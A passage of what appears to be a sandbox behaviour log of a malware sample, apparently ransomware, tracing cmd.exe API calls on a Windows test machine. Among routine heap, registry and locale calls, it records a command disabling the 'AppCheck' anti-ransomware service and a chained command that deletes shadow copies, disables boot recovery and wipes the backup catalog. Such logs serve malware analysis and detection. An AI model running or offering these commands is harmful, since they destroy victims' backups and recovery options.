returned -13 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0080.507] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0080.507] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0080.507] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0080.507] GetProcessHeap () returned 0x720000 [0080.507] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x733500 | out: hHeap=0x720000) returned 1 [0080.507] GetProcessHeap () returned 0x720000 [0080.507] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xa) returned 0x72ff48 [0080.507] lstrcmpW (lpString1="\\sc.exe", lpString2="\\XCOPY.EXE") returned -1 [0080.509] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc config \"AppCheck\" start=disabled", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3def18*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc config \"AppCheck\" start=disabled", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3def64 | out: lpCommandLine="sc config \"AppCheck\" start=disabled", lpProcessInformation=0x3def64*(hProcess=0x78, hThread=0x74, dwProcessId=0x620, dwThreadId=0x71c)) returned 1 [0081.989] CloseHandle (hObject=0x74) returned 1 [0081.990] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0081.990] GetProcessHeap () returned 0x720000 [0081.990] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x735f20 | out: hHeap=0x720000) returned 1 [0081.990] GetEnvironmentStringsW () returned 0x735f20* [0081.990] GetProcessHeap () returned 0x720000 [0081.990] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xb36) returned 0x7340e0 [0081.990] FreeEnvironmentStringsW (penv=0x735f20) returned 1 [0081.990] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0083.543] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3dee58 | out: lpExitCode=0x3dee58*=0x667) returned 1 [0083.543] CloseHandle (hObject=0x78) returned 1 [0083.543] _vsnwprintf (in: _Buffer=0x3defa0, _BufferCount=0x13, _Format="%08X", _ArgList=0x3dee64 | out: _Buffer="00000667") returned 8 [0083.543] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000667") returned 1 [0083.544] GetProcessHeap () returned 0x720000 [0083.544] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7340e0 | out: hHeap=0x720000) returned 1 [0083.544] GetEnvironmentStringsW () returned 0x7340e0* [0083.544] GetProcessHeap () returned 0x720000 [0083.544] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xb5c) returned 0x7395c8 [0083.544] FreeEnvironmentStringsW (penv=0x7340e0) returned 1 [0083.544] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0083.544] GetProcessHeap () returned 0x720000 [0083.544] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7395c8 | out: hHeap=0x720000) returned 1 [0083.544] GetEnvironmentStringsW () returned 0x7340e0* [0083.544] GetProcessHeap () returned 0x720000 [0083.544] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xb5c) returned 0x7395c8 [0083.544] FreeEnvironmentStringsW (penv=0x7340e0) returned 1 [0083.544] GetProcessHeap () returned 0x720000 [0083.544] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x72ff48 | out: hHeap=0x720000) returned 1 [0083.544] DeleteProcThreadAttributeList (in: lpAttributeList=0x3deebc | out: lpAttributeList=0x3deebc) [0083.544] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.544] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0083.545] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.545] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8841ac | out: lpMode=0x4a8841ac) returned 1 [0083.545] _get_osfhandle (_FileHandle=0) returned 0x3 [0083.545] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8841b0 | out: lpMode=0x4a8841b0) returned 1 [0083.546] SetConsoleInputExeNameW () returned 0x1 [0083.546] GetConsoleOutputCP () returned 0x1b5 [0083.546] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a884260 | out: lpCPInfo=0x4a884260) returned 1 [0083.546] SetThreadUILanguage (LangId=0x0) returned 0x409 [0083.546] exit (_Code=1639) Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x1979f000" os_pid = "0x780" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa34" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 6 os_tid = 0x10c [0079.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x33f7c4 | out: lpSystemTimeAsFileTime=0x33f7c4*(dwLowDateTime=0x4e203da0, dwHighDateTime=0x1d622f5)) [0079.886] GetCurrentProcessId () returned 0x780 [0079.886] GetCurrentThreadId () returned 0x10c [0079.886] GetTickCount () returned 0x11494e0 [0079.886] QueryPerformanceCounter (in: lpPerformanceCount=0x33f7bc | out: lpPerformanceCount=0x33f7bc*=19917870974) returned 1 [0079.888] GetModuleHandleA (lpModuleName=0x0) returned 0x4a860000 [0079.888] __set_app_type (_Type=0x1) [0079.888] __p__fmode () returned 0x770331f4 [0080.017] __p__commode () returned 0x770331fc [0080.018] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8821a6) returned 0x0 [0080.018] __getmainargs (in: _Argc=0x4a884238, _Argv=0x4a884240, _Env=0x4a88423c, _DoWildCard=0, _StartInfo=0x4a884140 | out: _Argc=0x4a884238, _Argv=0x4a884240, _Env=0x4a88423c) returned 0 [0080.018] GetCurrentThreadId () returned 0x10c [0080.018] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x10c) returned 0x60 [0080.018] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0080.018] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadUILanguage") returned 0x76d5a84f [0080.019] SetThreadUILanguage (LangId=0x0) returned 0x409 [0080.019] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0080.019] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x33f754 | out: phkResult=0x33f754*=0x0) returned 0x2 [0080.019] VirtualQuery (in: lpAddress=0x33f78b, lpBuffer=0x33f724, dwLength=0x1c | out: lpBuffer=0x33f724*(BaseAddress=0x33f000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0080.019] VirtualQuery (in: lpAddress=0x240000, lpBuffer=0x33f724, dwLength=0x1c | out: lpBuffer=0x33f724*(BaseAddress=0x240000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0080.019] VirtualQuery (in: lpAddress=0x241000, lpBuffer=0x33f724, dwLength=0x1c | out: lpBuffer=0x33f724*(BaseAddress=0x241000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0080.020] VirtualQuery (in: lpAddress=0x243000, lpBuffer=0x33f724, dwLength=0x1c | out: lpBuffer=0x33f724*(BaseAddress=0x243000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0080.020] VirtualQuery (in: lpAddress=0x340000, lpBuffer=0x33f724, dwLength=0x1c | out: lpBuffer=0x33f724*(BaseAddress=0x340000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x160000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0080.020] GetConsoleOutputCP () returned 0x1b5 [0080.020] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a884260 | out: lpCPInfo=0x4a884260) returned 1 [0080.020] SetConsoleCtrlHandler (HandlerRoutine=0x4a87e72a, Add=1) returned 1 [0080.020] _get_osfhandle (_FileHandle=1) returned 0x7 [0080.020] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0080.021] _get_osfhandle (_FileHandle=1) returned 0x7 [0080.021] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8841ac | out: lpMode=0x4a8841ac) returned 1 [0080.021] _get_osfhandle (_FileHandle=1) returned 0x7 [0080.021] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0080.021] _get_osfhandle (_FileHandle=0) returned 0x3 [0080.021] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8841b0 | out: lpMode=0x4a8841b0) returned 1 [0080.022] _get_osfhandle (_FileHandle=0) returned 0x3 [0080.022] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0080.022] GetEnvironmentStringsW () returned 0x692230* [0080.022] GetProcessHeap () returned 0x680000 [0080.022] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xaca) returned 0x692d08 [0080.023] FreeEnvironmentStringsW (penv=0x692230) returned 1 [0080.023] GetProcessHeap () returned 0x680000 [0080.023] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x4) returned 0x68ec30 [0080.023] GetEnvironmentStringsW () returned 0x692230* [0080.023] GetProcessHeap () returned 0x680000 [0080.023] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xaca) returned 0x6937e0 [0080.023] FreeEnvironmentStringsW (penv=0x692230) returned 1 [0080.023] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x33e6c4 | out: phkResult=0x33e6c4*=0x68) returned 0x0 [0080.023] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x33e6cc, lpData=0x33e6d0, lpcbData=0x33e6c8*=0x1000 | out: lpType=0x33e6cc*=0x0, lpData=0x33e6d0*=0x0, lpcbData=0x33e6c8*=0x1000) returned 0x2 [0080.023] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x33e6cc, lpData=0x33e6d0, lpcbData=0x33e6c8*=0x1000 | out: lpType=0x33e6cc*=0x4, lpData=0x33e6d0*=0x1, lpcbData=0x33e6c8*=0x4) returned 0x0 [0080.023] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x33e6cc, lpData=0x33e6d0, lpcbData=0x33e6c8*=0x1000 | out: lpType=0x33e6cc*=0x0, lpData=0x33e6d0*=0x1, lpcbData=0x33e6c8*=0x1000) returned 0x2 [0080.023] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x33e6cc, lpData=0x33e6d0, lpcbData=0x33e6c8*=0x1000 | out: lpType=0x33e6cc*=0x4, lpData=0x33e6d0*=0x0, lpcbData=0x33e6c8*=0x4) returned 0x0 [0080.023] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x33e6cc, lpData=0x33e6d0, lpcbData=0x33e6c8*=0x1000 | out: lpType=0x33e6cc*=0x4, lpData=0x33e6d0*=0x40, lpcbData=0x33e6c8*=0x4) returned 0x0 [0080.024] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x33e6cc, lpData=0x33e6d0, lpcbData=0x33e6c8*=0x1000 | out: lpType=0x33e6cc*=0x4, lpData=0x33e6d0*=0x40, lpcbData=0x33e6c8*=0x4) returned 0x0 [0080.024] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x33e6cc, lpData=0x33e6d0, lpcbData=0x33e6c8*=0x1000 | out: lpType=0x33e6cc*=0x0, lpData=0x33e6d0*=0x40, lpcbData=0x33e6c8*=0x1000) returned 0x2 [0080.024] RegCloseKey (hKey=0x68) returned 0x0 [0080.024] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x33e6c4 | out: phkResult=0x33e6c4*=0x68) returned 0x0 [0080.024] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x33e6cc, lpData=0x33e6d0, lpcbData=0x33e6c8*=0x1000 | out: lpType=0x33e6cc*=0x0, lpData=0x33e6d0*=0x40, lpcbData=0x33e6c8*=0x1000) returned 0x2 [0080.024] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x33e6cc, lpData=0x33e6d0, lpcbData=0x33e6c8*=0x1000 | out: lpType=0x33e6cc*=0x4, lpData=0x33e6d0*=0x1, lpcbData=0x33e6c8*=0x4) returned 0x0 [0080.024] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x33e6cc, lpData=0x33e6d0, lpcbData=0x33e6c8*=0x1000 | out: lpType=0x33e6cc*=0x0, lpData=0x33e6d0*=0x1, lpcbData=0x33e6c8*=0x1000) returned 0x2 [0080.024] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x33e6cc, lpData=0x33e6d0, lpcbData=0x33e6c8*=0x1000 | out: lpType=0x33e6cc*=0x4, lpData=0x33e6d0*=0x0, lpcbData=0x33e6c8*=0x4) returned 0x0 [0080.024] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x33e6cc, lpData=0x33e6d0, lpcbData=0x33e6c8*=0x1000 | out: lpType=0x33e6cc*=0x4, lpData=0x33e6d0*=0x9, lpcbData=0x33e6c8*=0x4) returned 0x0 [0080.024] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x33e6cc, lpData=0x33e6d0, lpcbData=0x33e6c8*=0x1000 | out: lpType=0x33e6cc*=0x4, lpData=0x33e6d0*=0x9, lpcbData=0x33e6c8*=0x4) returned 0x0 [0080.024] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x33e6cc, lpData=0x33e6d0, lpcbData=0x33e6c8*=0x1000 | out: lpType=0x33e6cc*=0x0, lpData=0x33e6d0*=0x9, lpcbData=0x33e6c8*=0x1000) returned 0x2 [0080.024] RegCloseKey (hKey=0x68) returned 0x0 [0080.024] time (in: timer=0x0 | out: timer=0x0) returned 0x5eb18bf2 [0080.024] srand (_Seed=0x5eb18bf2) [0080.024] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet" [0080.024] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet" [0080.025] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a885260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0080.025] GetProcessHeap () returned 0x680000 [0080.025] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x210) returned 0x692230 [0080.025] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x692238, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0080.026] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0080.026] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0080.026] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0080.026] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0080.026] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0080.026] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0080.026] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0080.026] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0080.026] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0080.026] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0080.026] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0080.026] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0080.026] GetProcessHeap () returned 0x680000 [0080.026] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x692d08 | out: hHeap=0x680000) returned 1 [0080.026] GetEnvironmentStringsW () returned 0x692448* [0080.026] GetProcessHeap () returned 0x680000 [0080.026] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xae2) returned 0x694da8 [0080.027] FreeEnvironmentStringsW (penv=0x692448) returned 1 [0080.027] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0080.027] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0080.027] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0080.027] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0080.027] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0080.027] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0080.027] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0080.027] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0080.027] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0080.027] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0080.027] GetProcessHeap () returned 0x680000 [0080.027] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x54) returned 0x695898 [0080.027] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x33f490 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0080.027] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x33f490, lpFilePart=0x33f48c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x33f48c*="Desktop") returned 0x25 [0080.027] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0080.028] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x33f20c | out: lpFindFileData=0x33f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x6920b0 [0080.028] FindClose (in: hFindFile=0x6920b0 | out: hFindFile=0x6920b0) returned 1 [0080.028] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x33f20c | out: lpFindFileData=0x33f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x6920b0 [0080.028] FindClose (in: hFindFile=0x6920b0 | out: hFindFile=0x6920b0) returned 1 [0080.028] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0080.028] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x33f20c | out: lpFindFileData=0x33f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3c74be00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3c74be00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x6920b0 [0080.029] FindClose (in: hFindFile=0x6920b0 | out: hFindFile=0x6920b0) returned 1 [0080.029] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0080.029] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0080.029] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0080.029] GetProcessHeap () returned 0x680000 [0080.029] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x694da8 | out: hHeap=0x680000) returned 1 [0080.029] GetEnvironmentStringsW () returned 0x6942b8* [0080.029] GetProcessHeap () returned 0x680000 [0080.029] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xb36) returned 0x6958f8 [0080.030] FreeEnvironmentStringsW (penv=0x6942b8) returned 1 [0080.030] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a885260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0080.030] GetProcessHeap () returned 0x680000 [0080.030] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x695898 | out: hHeap=0x680000) returned 1 [0080.030] GetProcessHeap () returned 0x680000 [0080.030] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x400e) returned 0x696438 [0080.030] GetProcessHeap () returned 0x680000 [0080.030] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x196) returned 0x680ff0 [0080.030] GetProcessHeap () returned 0x680000 [0080.030] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x696438 | out: hHeap=0x680000) returned 1 [0080.030] GetConsoleOutputCP () returned 0x1b5 [0080.031] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a884260 | out: lpCPInfo=0x4a884260) returned 1 [0080.031] GetUserDefaultLCID () returned 0x409 [0080.032] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a884950, cchData=8 | out: lpLCData=":") returned 2 [0080.032] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x33f5d0, cchData=128 | out: lpLCData="0") returned 2 [0080.032] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x33f5d0, cchData=128 | out: lpLCData="0") returned 2 [0080.032] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x33f5d0, cchData=128 | out: lpLCData="1") returned 2 [0080.032] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a884940, cchData=8 | out: lpLCData="/") returned 2 [0080.032] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a884d80, cchData=32 | out: lpLCData="Mon") returned 4 [0080.033] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a884d40, cchData=32 | out: lpLCData="Tue") returned 4 [0080.033] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a884d00, cchData=32 | out: lpLCData="Wed") returned 4 [0080.033] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a884cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0080.033] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a884c80, cchData=32 | out: lpLCData="Fri") returned 4 [0080.033] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a884c40, cchData=32 | out: lpLCData="Sat") returned 4 [0080.033] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a884c00, cchData=32 | out: lpLCData="Sun") returned 4 [0080.033] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a884930, cchData=8 | out: lpLCData=".") returned 2 [0080.033] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a884920, cchData=8 | out: lpLCData=",") returned 2 [0080.033] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0080.035] GetProcessHeap () returned 0x680000 [0080.035] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20c) returned 0x692f88 [0080.035] GetConsoleTitleW (in: lpConsoleTitle=0x692f88, 